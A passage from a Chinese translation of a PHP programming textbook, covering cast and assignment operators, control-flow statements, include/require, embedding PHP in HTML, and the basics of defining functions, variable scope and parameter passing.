虽然 PHP 是一种弱类型语言,但在某些情况下,将值视为特定类型是很有用的。强制转换操作符 (int), (float), (string), (bool), (array), (object), 和 (unset) 允许你将一个值强制转换为特定类型。要使用强制转换操作符,将操作符放在操作数的左侧。表 2-8 列出了强制转换操作符、同义操作符以及操作符将值转换为的类型。

表 2-8. PHP 强制转换操作符

运算符 同义操作符 转换为
(int) (integer) 整数
(bool) (boolean) 布尔值
(float) (double), (real) 浮点数
(string) String
(array) Array
(object) Object
(unset) NULL

强制转换影响其他操作符解释值的方式,而不是改变变量中的值。例如,代码:

$a = "5";
$b = (int) $a;

$b 赋予 $a 的整数值;$a 保持字符串 "5"。要将变量本身的值强制转换,必须将强制转换的结果再赋回变量:

$a = "5";
$a = (int) $a; // now $a holds an integer

并非每种强制转换都是有用的。将数组强制转换为数值类型会得到 1(如果数组为空,则为 0),将数组强制转换为字符串会得到 "Array"(在输出中看到这个,表明你已经打印了一个包含数组的变量)。

将对象强制转换为数组会构建一个属性数组,从而将属性名映射到值:

class Person
{
 var $name = "Fred";
 var $age = 35;
}

$o = new Person;
$a = (array) $o;

print_r($a);
`Array` `(` `[``name``]` `=>` `Fred` `[``age``]` `=>` `35``)`

您可以将数组转换为对象,以构建一个对象,其属性对应于数组的键和值。例如:

$a = array('name' => "Fred", 'age' => 35, 'wife' => "Wilma");
$o = (object) $a;
echo $o->name;
`Fred`

不是有效标识符的键是无效的属性名称,在将数组转换为对象时不可访问,但在将对象转换回数组时恢复。

赋值运算符

赋值运算符用于存储或更新变量中的值。我们之前看到的自增和自减运算符是高度专业化的赋值运算符—在这里我们看到更一般的形式。基本赋值运算符是=,但我们还会看到赋值和二进制运算的组合,如+=&=

赋值

基本赋值运算符 (=) 将一个值分配给一个变量。左操作数始终是一个变量。右操作数可以是任何表达式—任何简单的字面量、变量或复杂的表达式。右操作数的值存储在由左操作数命名的变量中。

因为所有运算符都要返回一个值,所以赋值运算符返回分配给变量的值。例如,表达式$a = 5不仅将5赋给了$a,而且在较大的表达式中使用时,也会表现为值5。考虑以下表达式:

$a = 5;
$b = 10;
$c = ($a = $b);

表达式$a = $b首先被评估,因为有括号。现在,$a$b都有相同的值10。最后,$c被赋值为表达式$a = $b的结果,即分配给左操作数的值(在本例中为$a)。当完整表达式评估完成时,所有三个变量都包含相同的值10

带操作的赋值

除了基本赋值运算符外,还有几个方便的简写赋值运算符。这些运算符由一个二元运算符直接跟随一个等号组成,它们的效果等同于对完整操作数执行操作,然后将结果值分配给左操作数。这些赋值运算符包括:

加等号 (+=)

将右操作数加到左操作数的值上,然后将结果分配给左操作数。$a += 5$a = $a + 5相同。

减等号 (−=)

从左操作数的值减去右操作数,然后将结果分配给左操作数。

除等号 (/=)

将左操作数的值除以右操作数,然后将结果分配给左操作数。

乘等号 (*=)

将右操作数乘以左操作数的值,然后将结果分配给左操作数。

取模等号 (%=)

对左操作数和右操作数的值执行模运算,然后将结果分配给左操作数。

按位异或等号 (^=)

对左操作数和右操作数执行按位异或,然后将结果分配给左操作数。

按位与等号 (&=)

对左操作数的值和右操作数执行按位与操作,然后将结果分配给左操作数。

按位或等于(|=

对左操作数的值和右操作数执行按位或操作,然后将结果分配给左操作数。

连接等于(.=

将右操作数连接到左操作数的值,然后将结果分配给左操作数。

杂项运算符

剩余的 PHP 运算符用于错误抑制、执行外部命令和选择值:

错误抑制(@

一些运算符或函数可能会生成错误消息。完整讨论错误抑制运算符,请参阅第十七章。

执行(`...`

反引号运算符执行包含在反引号之间的字符串作为 shell 命令并返回输出。例如:

$listing = `ls -ls /tmp`;
echo $listing;

条件(? :

条件运算符是根据您查看的代码而定,可能是最常用或最不常用的运算符之一。它是唯一的三元(三操作数)运算符,因此有时只被称为三元运算符。

条件运算符在?之前评估表达式。如果表达式为true,则运算符返回?:之间的表达式的值;否则,运算符返回:之后的表达式的值。例如:

<a href="<? echo $url; ?>"><? echo $linktext ? $linktext : $url; ?></a>

如果变量$linktext中存在链接$url的文本,则将其用作链接的文本;否则,显示 URL 本身。

类型(instanceof

instanceof运算符测试变量是否是给定类的实例化对象或实现接口(有关对象和接口的更多信息,请参阅第六章):

$a = new Foo;
$isAFoo = $a instanceof Foo; // true
$isABar = $a instanceof Bar; // false

流程控制语句

PHP 支持许多传统的编程构造来控制程序的执行流程。

条件语句,例如if/elseswitch,允许程序根据某些条件执行不同的代码片段,或者根本不执行。循环,例如whilefor,支持对代码段的重复执行。

if

if语句检查表达式的真实性,如果表达式为真,则评估一个语句。一个if语句看起来像:

if (*`expression`*)*`statement`*

若要指定在表达式为假时执行的替代语句,请使用else关键字:

if (*`expression`*)
 *`statement`*
else *`statement`*

例如:

if ($user_validated)
 echo "Welcome!";
else
 echo "Access Forbidden!";

若要在if语句内包含多个语句,请使用—由花括号括起来的一组语句:

if ($user_validated) {
 echo "Welcome!";
 $greeted = 1;
}
else {
 echo "Access Forbidden!";
 exit;
}

PHP 为测试和循环中的块提供了另一种语法。不是用花括号将语句块括起来,而是在if行末尾使用冒号(:)并使用特定关键字来结束块(在这种情况下为endif)。例如:

if ($user_validated):
 echo "Welcome!";
 $greeted = 1;
else:
 echo "Access Forbidden!";
 exit;
endif;

本章中描述的其他语句也有类似的备选语法样式(和结束关键字);如果您的语句内部有大量的 HTML 块,它们可能非常有用。例如:

<?php if ($user_validated) : ?>
 <table>
 <tr>
 <td>First Name:</td><td>Sophia</td>
 </tr>
 <tr>
 <td>Last Name:</td><td>Lee</td>
 </tr>
 </table>
<?php else: ?>
 Please log in.
<?php endif ?>

因为if是一个语句,您可以链接(嵌套)多个。这也是如何使用块来帮助保持组织的一个很好的例子:

if ($good) {
 print("Dandy!");
}
else {
 if ($error) {
 print("Oh, no!");
 }
 else {
 print("I'm ambivalent...");
 }
}

PHP 提供了一个更简单的语法来处理这样的if语句链:elseif语句。例如,前面的代码可以重写为:

if ($good) {
 print("Dandy!");
}
elseif ($error) {
 print("Oh, no!");
}
else {
 print("I'm ambivalent...");
}

三元条件运算符(? :)可用于缩短简单的真/假测试。考虑一个常见的情况,例如检查给定变量是否为 true 并在其为 true 时打印某些内容。使用普通的if/else语句,看起来像这样:

<td><?php if($active) { echo "yes"; } else { echo "no"; } ?></td>

使用三元条件运算符时,看起来像这样:

<td><?php echo $active ? "yes" : "no"; ?></td>

比较这两者的语法:

if (*`expression`*) { *`true_statement`* } else { *`false_statement`* }
 (*`expression`*) ? *`true_expression`* : *`false_expression`*

这里的主要区别在于条件运算符根本不是一个语句。这意味着它用于表达式,完整的三元表达式的结果本身就是一个表达式。在上面的例子中,echo语句位于if条件内部,而使用三元运算符时,它位于表达式之前。

开关

单个变量的值可能决定多个不同的选择(例如,变量保存用户名,您希望针对每个用户执行不同的操作)。switch语句正是为这种情况设计的。

switch语句给定一个表达式并将其值与 switch 中的所有 case 进行比较;匹配 case 中的所有语句都会执行,直到找到第一个break关键字。如果没有匹配,且有default,则执行default关键字后的所有语句,直到遇到第一个break关键字。

例如,假设您有以下内容:

if ($name == 'ktatroe') {
 // do something
}
else if ($name == 'dawn') {
 // do something
}
else if ($name == 'petermac') {
 // do something
}
else if ($name == 'bobk') {
 // do something
}

您可以用以下switch语句替换该语句:

switch($name) {
 case 'ktatroe':
 // do something
 break;
 case 'dawn':
 // do something
 break;
 case 'petermac':
 // do something
 break;
 case 'bobk':
 // do something
 break;
}

这种的替代语法是:

switch($name):
 case 'ktatroe':
 // do something
 break;
 case 'dawn':
 // do something
 break;
 case 'petermac':
 // do something
 break;
 case 'bobk':
 // do something
 break;
endswitch;

因为语句从匹配的 case 标签到下一个break关键字被执行,您可以将多个 case 结合在一起进行穿透。在下面的例子中,当$name等于sylviebruno时,会打印出"yes":

switch ($name) {
 case 'sylvie': // fall-through
 case 'bruno':
 print("yes");
 break;
 default:
 print("no");
 break;
}

switch中注释您使用了穿透 case 是个好主意,这样别人就不会以为您忘记了加上break

您可以为break关键字指定可选的中断级别数。这样,break语句可以跳出多层嵌套的switch语句。下一节中展示了使用break的示例。

最简单的循环形式是while语句:

while (*`expression`*)*`statement`*

如果表达式计算结果为true,则执行语句,然后重新评估表达式(如果仍为true,则再次执行循环体,依此类推)。当表达式不再为真时(即计算结果为false时),循环退出。

作为示例,这里是一些将整数从 1 加到 10 的代码:

$total = 0;
$i = 1;

while ($i <= 10) {
 $total += $i;
 $i++;
}

while的替代语法具有以下结构:

while (*`expr`*):
 *`statement``;`*
 *`more` `statements`* ;
endwhile;

例如:

$total = 0;
$i = 1;

while ($i <= 10):
 $total += $i;
 $i++;
endwhile;

您可以使用break关键字提前退出循环。在以下代码中,一旦$i达到5,循环就会停止,因此$i永远不会达到6

$total = 0;
$i = 1;

while ($i <= 10) {
 if ($i == 5) {
 break; // breaks out of the loop
 }

 $total += $i;
 $i++;
}

可选地,在break关键字后面可以放一个数字,指示要跳出的循环结构级别数。通过这种方式,嵌套循环中深埋的语句可以跳出最外层循环。例如:

$i = 0;
$j = 0;

while ($i < 10) {
 while ($j < 10) {
 if ($j == 5) {
 break 2; // breaks out of two while loops
 }

 $j++;
 }

 $i++;
}

echo "{$i}, {$j}";
`0``,` `5`

continue语句跳到下一个循环条件测试。与break关键字一样,您可以跨可选的循环结构级别继续:

while ($i < 10) {
 $i++;

 while ($j < 10) {
 if ($j == 5) {
 continue 2; // continues through two levels
 }

 $j++;
 }
}

在此代码中,$j永远不会超过5,但$i会经历从09的所有值。

PHP 还支持do/while循环,其形式如下:

do
 *`statement`*
while (*`expression`*)

使用do/while循环确保至少执行一次循环体(第一次):

$total = 0;
$i = 1;

do {
 $total += $i++;
} while ($i <= 10);

您可以在do/while语句中像在普通while语句中一样使用breakcontinue语句。

当发生错误条件时,有时会使用do/while语句来跳出代码块。例如:

do {
 // do some stuff

 if ($errorCondition) {
 break;
 }

 // do some other stuff
} while (false);

因为循环的条件为false,所以无论循环内部发生什么,循环只执行一次。但是,如果发生错误,则break后面的代码不会被评估。

for

for语句类似于while语句,但它添加了计数器初始化和计数器操作表达式,通常比等效的while循环更短且更易读。

这里是一个while循环,从 0 到 9 进行计数,并打印每个数字:

$counter = 0;

while ($counter < 10) {
 echo "Counter is {$counter} <br/>";
 $counter++;
}

这是相应的更简洁的for循环:

for ($counter = 0; $counter < 10; $counter++) {
 echo "Counter is $counter <br/>";
}

for语句的结构是:

for (*`start`*; *`condition`*; *`increment`*) { *`statement``(``s``);`* }

表达式startfor语句开始时评估一次。每次循环时,表达式condition被测试。如果为true,则执行循环体;如果为false,则循环结束。表达式increment在运行循环体后评估。

for语句的替代语法是:

for (*`expr1`*; *`expr2`*; *`expr3`*):
 *`statement``;`*
 *`...``;`*
endfor;

此程序使用for循环将数字从 1 加到 10:

$total = 0;

for ($i= 1; $i <= 10; $i++) {
 $total += $i;
}

使用替代语法的相同循环如下所示:

$total = 0;

for ($i = 1; $i <= 10; $i++):
 $total += $i;
endfor;

您可以通过用逗号分隔表达式来为for语句中的任何表达式指定多个表达式。例如:

$total = 0;

for ($i = 0, $j = 1; $i <= 10; $i++, $j *= 2) {
 $total += $j;
}

您还可以将表达式留空,表示该阶段不执行任何操作。在最简单的情况下,for语句变成一个无限循环。您可能不希望运行此示例,因为它永远不会停止打印:

for (;;) {
 echo "Can't stop me!<br />";
}

for循环中,与while循环一样,您可以使用breakcontinue关键字来结束循环或当前迭代。

foreach

foreach语句允许您遍历数组中的元素。在第五章中进一步讨论了foreach语句的两种形式,更深入地讨论了数组。要循环访问数组并访问每个键处的值,请使用:

foreach (*`$array`* as *`$current`*) {
 // ... }

替代语法是:

foreach (*`$array`* as *`$current`*):
 // ... endforeach;

要循环访问数组并访问键和值,请使用:

foreach (*`$array`* as *`$key` `=>` `$value`*) {
 // ... }

替代语法是:

foreach (*`$array`* as *`$key` `=>` `$value`*):
 // ... endforeach;

try...catch

try...catch结构不仅仅是一个流程控制结构,它更像是一种更优雅的处理系统错误的方式。例如,如果要确保您的 Web 应用在继续之前有一个有效的连接到数据库,您可以编写如下代码:

try {
 $dbhandle = new PDO('mysql:host=localhost; dbname=library', $username, $pwd);
 doDB_Work($dbhandle); // call function on gaining a connection
 $dbhandle = null; // release handle when done
}
catch (PDOException $error) {
 print "Error!: " . $error->getMessage() . "<br/>";
 die();
}

在这里,连接尝试使用构造的try部分,并且如果有任何与之相关的错误,则代码流会自动跳转到catch部分,其中PDOException类被实例化到$error变量中。然后可以在屏幕上显示它,并且代码可以“优雅”地失败,而不是突然结束。甚至可以尝试连接到备用数据库,或者在catch部分内以其他任何方式响应错误。

注意

参见第九章,了解与 PDO(PHP 数据对象)和事务处理相关的更多try...catch示例。

declare

declare语句允许您为代码块指定执行指令。declare语句的结构如下:

declare (*`directive`*)*`statement`*

目前只有三种declare形式:ticksencodingstrict_types指令。您可以使用ticks指令指定在调用register_tick_function()时注册 tick 函数的频率(大致以代码语句数量计算)。例如:

register_tick_function("someFunction");

declare(ticks = 3) {
 for($i = 0; $i < 10; $i++) {
 // do something
 }
}

在此代码中,在执行块内每三条语句后都调用someFunction()

您可以使用encoding指令指定 PHP 脚本的输出编码。例如:

declare(encoding = "UTF-8");

除非使用--enable-zend-multibyte选项编译 PHP,否则会忽略此形式的declare语句。

最后,您可以使用strict_types指令在定义和使用变量时强制使用严格数据类型。

退出和返回

一旦到达,exit语句将结束脚本的执行。return语句从函数中返回,或者在程序顶层时从脚本返回。

exit语句接受一个可选值。如果是数字,则为进程的退出状态。如果是字符串,则在进程终止之前打印该值。函数die()是此形式exit语句的别名:

$db = mysql_connect("localhost", $USERNAME, $PASSWORD);

if (!$db) {
 die("Could not connect to database");
}

这通常被写成:

$db = mysql_connect("localhost", $USERNAME, $PASSWORD)
 or die("Could not connect to database");

参见第三章,了解在函数中使用return语句的更多信息。

转到

goto 语句允许执行“跳转”到程序的另一个位置。您通过添加标签来指定执行点,标签是由标识符后跟冒号(:)组成。然后,您可以通过 goto 语句从脚本的另一个位置跳转到该标签:

for ($i = 0; $i < $count; $i++) {
 // oops, found an error
 if ($error) {
 goto cleanup;
 }
}

cleanup:
// do some cleanup

您只能在与 goto 语句本身相同的作用域内跳转到标签,并且不能跳转到循环或开关中。通常,您可以重写代码以更清晰地处理 goto(或多级 break 语句)的任何地方。

包括代码

PHP 提供了两种结构来加载来自另一个模块的代码和 HTML:requireinclude。这两者在 PHP 脚本运行时加载文件,在条件和循环中工作,并在找不到要加载的文件时报错。文件可以通过使用函数中的包含文件路径作为指令的一部分来定位,或者基于 php.ini 文件中 include_path 的设置。include_path 可以通过 set_include_path() 函数进行覆盖。如果所有这些途径都失败了,PHP 的最后尝试是在调用脚本的同一目录中查找文件。主要区别在于尝试 require 一个不存在的文件会导致致命错误,而尝试 include 这样一个文件会产生警告但不会停止脚本执行。

include 的常见用途是将特定于页面的内容与通用站点设计分离。常见元素(如标题和页脚)放在单独的 HTML 文件中,然后每个页面看起来像:

<?php include "header.html"; ?>
*`content`*
<?php include "footer.html"; ?>

我们使用 include 是因为它允许 PHP 继续处理页面,即使在站点设计文件中存在错误。require 结构则不太宽容,更适合加载代码库,如果库未加载,则无法显示页面。例如:

require "codelib.php";
mysub(); // defined in codelib.php

处理标题和页脚的稍微更有效的方法是加载单个文件,然后调用函数生成标准化的站点元素:

<?php require "design.php";
header(); ?>
*`content`*
<?php footer();

如果 PHP 无法解析通过 includerequire 添加的文件的某些部分,则会打印警告并继续执行。您可以在调用前加上静默操作符(@)来消除警告 - 例如,@include

如果通过 PHP 的配置文件 php.ini 启用了 allow_url_fopen 选项,则可以通过提供 URL 而不是简单的本地路径来包含来自远程站点的文件:

include "http://www.example.com/codelib.php";

如果文件名以 http://https://ftp:// 开头,则从远程站点检索并加载文件。

使用 includerequire 包含的文件可以任意命名。常见的扩展名包括 .php.php5.html

注意

注意,从启用了 PHP 的 Web 服务器获取以 .php 结尾的文件将获取该 PHP 脚本的输出 - 它执行该文件中的 PHP 代码。

如果程序使用includerequire两次包含同一文件(例如在循环中错误地执行),则加载文件并运行代码,或者 HTML 打印两次。这可能导致关于函数重定义的错误,或者发送多个标题或 HTML 副本。为防止这些错误发生,使用include_oncerequire_once结构。它们在第一次加载文件时行为与includerequire相同,但会静默地忽略后续尝试加载同一文件。例如,许多页面元素,每个存储在单独文件中,需要知道当前用户的偏好设置。元素库应使用require_once加载用户偏好设置库。然后页面设计人员可以包含一个页面元素,而不必担心用户偏好代码是否已加载。

在包含文件中的代码被导入到include语句所在位置的作用域中,因此包含的代码可以查看和更改您的代码的变量。这可能是有用的——例如,用户跟踪库可能会将当前用户的名称存储在全局$user变量中:

// main page
include "userprefs.php";
echo "Hello, {$user}.";

库查看和更改您的变量的能力也可能是一个问题。您必须知道库使用的每个全局变量,以确保不会意外尝试将其中一个用于自己的目的,从而覆盖库的值并扰乱其工作方式。

如果includerequire结构位于函数中,则包含文件中的变量成为该函数的函数作用域变量。

因为includerequire是关键字,而不是真正的语句,所以在条件和循环语句中,您必须始终将它们括在花括号中:

for ($i = 0; $i < 10; $i++) {
 include "repeated_element.html";
}

使用get_included_files()函数来了解您的脚本包含或需要的文件。它返回一个包含每个已包含或需要的文件的完整系统路径文件名的数组。未解析的文件不包括在此数组中。

在 Web 页面中嵌入 PHP

虽然可以编写并运行独立的 PHP 程序,但大多数 PHP 代码都嵌入在 HTML 或 XML 文件中。毕竟,这正是它首次创建的原因。处理这些文档涉及将每个 PHP 源代码块替换为执行时产生的输出。

因为单个文件通常包含 PHP 和非 PHP 源代码,我们需要一种方法来识别要执行的 PHP 代码区域。PHP 提供了四种不同的方法来实现这一点。

正如您将看到的,第一种和首选的方法看起来像 XML。第二种方法看起来像 SGML。第三种方法基于 ASP 标签。第四种方法使用标准的 HTML <script> 标签;这使得可以使用常规 HTML 编辑器轻松编辑启用 PHP 的页面。

标准(XML)样式

由于可扩展标记语言(XML)的出现以及 HTML 向 XML 语言(XHTML)的迁移,目前首选的嵌入 PHP 的技术使用符合 XML 的标记来表示 PHP 指令。

在 XML 中定义 PHP 命令标签很容易,因为 XML 允许定义新标签。要使用此样式,请用<?php?>包围你的 PHP 代码。这些标记之间的所有内容都被解释为 PHP,标记外的内容则不是。虽然不必在标记和封闭文本之间包含空格,但这样做会增加可读性。例如,要让 PHP 打印“Hello, world”,可以在网页中插入以下行:

<?php echo "Hello, world"; ?>

语句的结尾分号是可选的,因为块的结尾也强制结束表达式。嵌入在完整的 HTML 文件中时,看起来像这样:

<!doctype html>
<html>
<head>
 <title>This is my first PHP program!</title>
</head>

<body>
<p>
 Look, ma! It's my first PHP program:<br />
 <?php echo "Hello, world"; ?><br />
 How cool is that?
</p>
</body>

</html>

当然,这并不是很令人兴奋——我们可以在没有 PHP 的情况下完成它。PHP 真正的价值在于我们将来会将来自数据库和表单值等来源的动态信息放入网页中。不过,这是后面的章节内容了。让我们回到我们的“Hello, world”示例。当用户访问此页面并查看其源代码时,看起来像这样:

<!doctype html>
<html>
<head>
 <title>This is my first PHP program!</title>
</head>

<body>
<p>
 Look, ma! It's my first PHP program:<br />
 Hello, world!<br />
 How cool is that?
</p>
</body>

</html>

请注意,原始文件中的 PHP 源代码已经消失了。用户只看到其输出。

还要注意,我们在一行内在 PHP 和非 PHP 之间切换。PHP 指令可以放在文件中的任何位置,甚至在有效的 HTML 标记内。例如:

<input type="text" name="first_name" value="<?php echo "Peter"; ?>" />

当 PHP 完成此文本时,将读取:

<input type="text" name="first_name" value="Peter" />

开始和结束标记内的 PHP 代码不必在同一行上。如果 PHP 指令的结束标记是最后一行的内容,那么跟在结束标记后的换行符也会被移除。因此,我们可以用以下方式替换“Hello, world”示例中的 PHP 指令:

<?php
echo "Hello, world"; ?>
<br />

结果 HTML 没有任何变化。

SGML 风格

另一种嵌入 PHP 的样式来自 SGML 指令处理标签。要使用此方法,只需在<??>中包围 PHP 即可。以下是“Hello, world”示例:

<? echo "Hello, world"; ?>

这种风格称为短标签,默认情况下是关闭的。可以通过使用--enable-short-tags选项构建 PHP 或在 PHP 配置文件中启用short_open_tag来支持短标签。这是不鼓励的,因为它依赖于此设置的状态;如果将代码导出到另一个平台,可能会工作也可能不会。

内联代码,<?= ... ?>,即使短标签不可用也可以使用。

直接回显内容

在 PHP 应用程序中最常见的操作之一可能是向用户显示数据。在 Web 应用程序的上下文中,这意味着将将在用户查看时变成 HTML 的信息插入到 HTML 文档中。

为了简化这个操作,PHP 提供了一种特殊版本的 SGML 标记,它自动获取标记内部的值并将其插入到 HTML 页面中。要使用此功能,请在开放标记中添加等号(=)。使用此技术,我们可以将我们的表单示例重写为:

<input type="text" name="first_name" value="<?= "Dawn"; ?>">

下一步

现在您已经掌握了语言的基础——变量的基本理解及其命名方式,数据类型的概念,以及代码流控制的工作原理——我们将继续讨论 PHP 语言的一些细节。接下来,我们将涵盖三个对 PHP 非常重要的主题,它们各自都有专门的章节:如何定义函数(第三章),操作字符串(第四章),以及管理数组(第五章)。

¹ 如果您从 C API 的角度看引用计数,实际上是 3,但为了本说明以及从用户空间的角度来看,将其视为 2 更容易理解。

² 这里有个小提示:将二进制数分成三组——6 是二进制 110,5 是二进制 101,1 是二进制 001;因此,0651 的二进制表示为 110101001。

第三章:函数

函数是执行特定任务的命名代码块,可能作用于给定的一组值,即参数,并可能返回单个值或数组中的一组值。函数节省编译时间——无论调用多少次,函数仅在页面加载时编译一次。它们还通过允许您在一个地方修复任何错误来提高可靠性,而不是在每个执行任务的地方修复错误,并通过隔离执行特定任务的代码来提高可读性。

本章介绍了函数调用和函数定义的语法,并讨论了如何在函数中管理变量和向函数传递值(包括传值调用和引用调用)。它还涵盖了可变函数和匿名函数。

调用函数

PHP 程序中的函数可以是内置的(或者通过扩展实际上是内置的)或用户定义的。无论其来源如何,所有函数都以相同的方式进行评估:

$someValue = *`function_name`*( [ *`parameter``,` `...`* ] );

函数需要的参数数量因函数而异(后面我们会看到,同一函数的参数甚至可能不同)。提供给函数的参数可以是任何有效表达式,并且必须按照函数期望的特定顺序提供。如果参数顺序给出错,函数可能仍会运行,但基本上是“垃圾进,垃圾出”的情况。函数的文档会告诉您函数期望的参数以及您可以期望返回的值(们)。

下面是一些函数示例:

// strlen() is a PHP built-in function that returns the length of a string
$length = strlen("PHP"); // $length is now 3
// sin() and asin() are the sine and arcsine math functions
$result = sin(asin(1)); // $result is the sine of arcsin(1), or 1.0

// unlink() deletes a file
$result = unlink("functions.txt");
// $result = true or false depending on success or failure

在第一个示例中,我们将一个参数"PHP"传递给strlen()函数,它返回所提供字符串的字符数。在这种情况下,它返回3,并赋值给变量$length。这是使用函数的最简单和最常见的方式。

第二个示例将asin(1)的结果传递给sin()函数。由于正弦和反正弦函数是互为反函数,对任何值的反正弦的正弦总是返回该相同的值。在这里,我们看到一个函数可以在另一个函数内调用。内部调用的返回值随后被发送到外部函数,然后将总体结果返回并存储在$result变量中。

在最后一个示例中,我们向unlink()函数提供一个文件名,它尝试删除该文件。像许多函数一样,当它失败时返回false。这使您可以使用另一个内置函数die()和逻辑运算符的短路特性。因此,这个示例可以重写为:

$result = unlink("functions.txt") or die("Operation failed!");

unlink()函数,与其他两个示例不同,会影响给定参数之外的内容。在这种情况下,它会从文件系统中删除文件。应仔细记录和考虑函数的所有此类副作用。

PHP 拥有大量已定义的函数可供在程序中使用。这些扩展执行任务包括访问数据库、创建图形、读写 XML 文件、从远程系统抓取文件等。PHP 的内置函数在附录中有详细描述。

注意

并非所有函数都返回一个值。它们可以执行像发送电子邮件这样的动作,然后只需将控制行为返回给调用代码;完成了它们的任务后,它们没有任何“话要说”。

定义一个函数

要定义一个函数,使用以下语法:

function [&] *`function_name`*([*`parameter`*[, ...]])
{
 *`statement` `list`*
}

语句列表可以包含 HTML。你可以声明一个不包含任何 PHP 代码的 PHP 函数。例如,column()函数只是为页面中可能需要多次使用的 HTML 代码提供了一个方便的简短名称:

<?php function column()
{ ?>
 </td><td>
<?php }

函数名可以是以字母或下划线开头,后跟零个或多个字母、下划线和数字的任何字符串。函数名不区分大小写;也就是说,你可以将sin()函数称为sin(1)SIN(1)SiN(1)等等,因为所有这些名称都指代同一个函数。按照惯例,内置的 PHP 函数都使用全小写来调用。

通常,函数会返回某个值。要从函数中返回值,请使用return语句:将return expr放在函数内部。当执行到return语句时,控制流返回到调用语句,并将expr的计算结果作为函数的返回值返回。你可以在函数中包含任意数量的return语句(例如,如果有switch语句确定返回哪个值)。

让我们看一个简单的函数。示例 3-1 接受两个字符串,将它们连接起来,然后返回结果(在这种情况下,我们创建了一个稍慢的等效于连接运算符的示例,但请谅解,这只是为了举例)。

示例 3-1. 字符串连接
function strcat($left, $right)
{
 $combinedString = $left . $right;

 return $combinedString;
}

该函数接受两个参数$left$right。使用连接运算符,函数在变量$combinedString中创建一个组合字符串。最后,为了使函数在用我们的参数进行评估时具有一个值,我们返回值$combinedString

因为return语句可以接受任何表达式,甚至是复杂的表达式,我们可以像这样简化程序:

function strcat($left, $right)
{
 return $left . $right;
}

如果我们将这个函数放在一个 PHP 页面上,可以在页面的任何地方调用它。看看示例 3-2。

示例 3-2. 使用我们的连接函数
<?php
function strcat($left, $right)
{
 return $left . $right;
}
$first = "This is a ";
$second = " complete sentence!";

echo strcat($first, $second);

当显示这个页面时,将显示完整的句子。

在下一个示例中,一个函数接受一个整数,通过对原始值进行位移来使其加倍,并返回结果:

function doubler($value)
{
 return $value << 1;
}

一旦函数被定义,你可以在页面的任何地方使用它。例如:

<?php echo "A pair of 13s is " . doubler(13); ?>

你可以嵌套函数声明,但效果有限。嵌套声明不会限制内部定义函数的可见性,该函数可以从程序中的任何地方调用。内部函数不会自动获取外部函数的参数。最后,内部函数在外部函数被调用之前不能被调用,也不能在解析外部函数之后的代码中被调用:

function outer ($a)
{
 function inner ($b)
 {
 echo "there $b";
 }

 echo "$a, hello ";
}

// outputs "well, hello there reader"
outer("well");
inner("reader");

变量作用域

如果不使用函数,则创建的任何变量可以在页面的任何地方使用。但在函数中,情况并非总是如此。函数保持其自己的变量集,这些变量与页面和其他函数的变量不同。

函数中定义的变量(包括其参数)在函数外部不可访问,默认情况下,在函数外部定义的变量在函数内部也不可访问。以下示例说明了这一点:

$a = 3;

function foo()
{
 $a += 2;
}

foo();
echo $a;

函数foo()内的变量$a是一个不同的变量,而不是函数外部的变量$a;即使foo()使用了加法赋值运算符,页面的外部$a的值仍然是3。在函数内部,$a的值是2

正如我们在第二章中讨论的那样,变量在程序中可见的程度被称为变量的作用域。在函数内创建的变量处于函数的作用域内(即具有函数级作用域)。在函数和对象外创建的变量具有全局作用域,可以在这些函数和对象之外的任何地方存在。PHP 提供的少数变量既有函数级作用域也有全局作用域(通常称为超全局变量)。

乍一看,即使是经验丰富的程序员可能会认为在前面的例子中,到达echo语句时$a将会是5,因此在为变量选择名称时,请牢记这一点。

全局变量

如果你想让全局作用域中的变量在函数内部可访问,可以使用global关键字。其语法如下:

global *`var1`*, *`var2`*, ... ;

将上述例子更改以包括global关键字,我们得到:

$a = 3;

function foo()
{
 global $a;

 $a += 2;
}

foo();
echo $a;

PHP 不会创建具有函数级作用域的新变量$a,而是在函数内部使用全局变量$a。现在,当显示$a的值时,它将是5

在函数体之前必须使用global关键字声明函数中要访问的全局变量或变量。因为它们在函数体之前声明,所以函数参数永远不能是全局变量。

使用global等同于在$GLOBALS变量中创建变量的引用。也就是说,以下两个声明都会在函数作用域内创建一个变量,该变量是全局作用域变量$var的引用:

global $var;
$var = & $GLOBALS['var'];

静态变量

与 C 语言类似,PHP 支持声明函数变量为静态。静态变量在所有对函数的调用之间保持其值,并且仅在脚本执行期间的第一次调用函数时初始化。使用static关键字在函数变量的第一次使用时将其声明为静态。通常,静态变量的第一次使用分配一个初始值:

static *`var`* [= *`value`*][, ... ];

在示例 3-3 中,变量$count每次调用函数时递增 1。

示例 3-3. 静态变量计数器
<?php
function counter()
{
 static $count = 0;

 return $count++;
}

for ($i = 1; $i <= 5; $i++) {
 print counter();
}

当第一次调用函数时,静态变量$count被赋值为0。返回该值并递增$count。当函数结束时,$count不像非静态变量那样被销毁,其值保持不变,直到下次调用counter()for循环显示从 0 到 4 的数字。

函数参数

函数可以期望由函数定义声明的任意数量的参数。有两种不同的方法可以将参数传递给函数。第一种,也是更常见的,是通过值传递。第二种是通过引用。

通过值传递参数

在大多数情况下,您通过值传递参数。参数是任何有效表达式。该表达式被评估,并且结果值被分配给函数中适当的变量。到目前为止,我们在所有示例中都是通过值传递参数的。

通过引用传递参数

通过引用传递允许您覆盖正常的作用域规则,并直接访问变量。要通过引用传递,参数必须是一个变量;您通过在参数列表中的变量名称前面加上一个&符号来指示函数的特定参数将通过引用传递。示例 3-4 重新访问我们的doubler()函数,稍作修改。

示例 3-4. doubler() redux
<?php
function doubler(&$value)
{
 $value = $value << 1;
}

$a = 3;
doubler($a);

echo $a;

因为函数的$value参数是通过引用传递的,所以$a的实际值被修改,而不是该值的副本。之前,我们必须return双倍值,但现在我们将调用者的变量更改为双倍值。

这是另一个函数具有副作用的地方:因为我们通过引用将变量$a传递给doubler(),所以$a的值受函数的影响。在这种情况下,doubler()为其分配了一个新值。

仅变量——而不是常量——可以提供给声明为按引用传递的参数。因此,如果我们在前面的示例中包含语句 <?php echo doubler(7); ?>,它会发出一个错误。但是,您可以为通过引用传递的参数分配默认值(与为通过值传递的参数提供默认值的方式相同)。

即使在您的函数不影响给定值的情况下,您可能希望通过引用传递参数。通过值传递时,PHP 必须复制该值。特别是对于大字符串和对象,这可能是一个昂贵的操作。通过引用传递可以避免复制值的需要。

默认参数

有时,函数可能需要接受特定参数。例如,当您调用函数以获取站点的偏好设置时,函数可能需要一个带有要检索的偏好名称的参数。而不是使用某些特殊关键字来指定要检索所有偏好设置,您可以简单地不提供任何参数。此行为通过使用默认参数工作。

